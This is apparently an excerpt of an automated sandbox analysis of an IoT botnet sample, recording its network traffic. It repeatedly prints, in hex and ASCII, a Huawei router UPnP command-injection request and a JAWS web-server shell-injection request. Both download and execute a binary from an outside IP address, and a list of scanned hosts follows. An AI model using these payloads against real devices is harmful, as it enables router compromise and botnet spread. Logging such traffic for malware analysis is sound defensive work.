30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: unknownTCP traffic detected without corresponding DNS query: 95.230.86.222
      Source: unknownTCP traffic detected without corresponding DNS query: 125.16.35.222
      Source: unknownTCP traffic detected without corresponding DNS query: 129.165.150.28
      Source: unknownTCP traffic detected without corresponding DNS query: 96.154.188.221
      Source: unknownTCP traffic detected without corresponding DNS query: 1.193.20.223
      Source: unknownTCP traffic detected without corresponding DNS query: 52.221.58.113
      Source: unknownTCP traffic detected without corresponding DNS query: 153.229.90.100
      Source: unknownTCP traffic detected without corresponding DNS query: 169.154.46.134
      Source: unknownTCP traffic detected without corresponding DNS query: 115.159.233.132
      Source: unknownTCP traffic detected without corresponding DNS query: 193.191.209.99
      Source: unknownTCP traffic detected without corresponding DNS query: 122.37.16.122
      Source: unknownTCP traffic detected without corresponding DNS query: 119.135.62.252
      Source: unknownTCP traffic detected without corresponding DNS query: 216.42.0.8
      Source: unknownTCP traffic detected without corresponding DNS query: 43.71.98.202
      Source: unknownTCP traffic detected without corresponding DNS query: 34.119.51.128
      Source: unknownTCP traffic detected without corresponding DNS query: 109.72.30.88
      Source: unknownTCP traffic detected without corresponding DNS query: 48.240.113.203
      Source: unknownTCP traffic detected without corresponding DNS query: 62.211.174.174
      Source: unknownTCP traffic detected without corresponding DNS query: 139.175.100.248
      Source: unknownTCP traffic detected without corresponding DNS query: 1.68.171.30
      Source: unknownTCP traffic detected without corresponding DNS query: 23.158.188.96
      Source: unknownTCP traffic detected without corresponding DNS query: 172.179.127.144
      Source: unknownTCP traffic detected without corresponding DNS query: 220.239.152.185
      Source: unknownTCP traffic detected without corresponding DNS query: 145.30.34.105
      Source: unknownTCP traffic detected without corresponding DNS query: 60.230.177.40
      Source: unknownTCP traffic detected without corresponding DNS query: 93.208.218.182
      Source: unknownTCP traffic detected without corresponding DNS query: 203.29.196.195
      Source: unknownTCP traffic detected without corresponding DNS query: 62.115.233.129
      Source: unknownTCP traffic detected without corresponding DNS query: 192.176.33.168
      Source: unknownTCP traffic detected without corresponding DNS query: 182.226.18.253
      Source: unknownTCP traffic detected without corresponding DNS query: 209.29.13.227
      Source: unknownTCP traffic detected without corresponding DNS query: 162.12.49.3
      Source: unknownTCP traffic detected without corresponding DNS query: 105.192.46.77
      Source: unknownTCP traffic detected without corresponding DNS query: 177.91.135.136
      Source: unknownTCP traffic detected without corresponding DNS query: 64.208.53.152
      Source: unknownTCP traffic detected without corresponding DNS query: 179.108.60.164
      Source: unknownTCP traffic detected without corresponding DNS query: 196.52.233.99
      Source: unknownTCP traffic detected without corresponding DNS query: 107.246.205.34
      Source: unknownTCP traffic detected without corresponding DNS query: 133.26.170.236
      Source: unknownTCP traffic detected without corresponding DNS query: 179.34.250.152
      Source: unknownTCP traffic detected without corresponding DNS query: 223.68.43.82
      Source: unknownTCP traffic detected without corresponding DNS query: 180.90.89.148
      Source: unknownTCP traffic detected without corresponding DNS query: 95.233.21.143
      Source: unknownTCP traffic detected without corresponding DNS query: 31.106.9.118
      Source: unknownTCP traffic detected without corresponding DNS query: 203.93.151.199
      Source: unknownTCP traffic detected without corresponding DNS query: 184.192.189.244
      Source: unknownTCP traffic detected without corresponding DNS query: 182.203.150.28
      Source: unknownTCP traffic detected without corresponding DNS query: 58.96.145.209
      Source: unknownTCP traffic detected without corresponding DNS query: 142.99.118.173
      Source: unknownTCP traffic detected without corresponding DNS query: 13.163.41.174
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
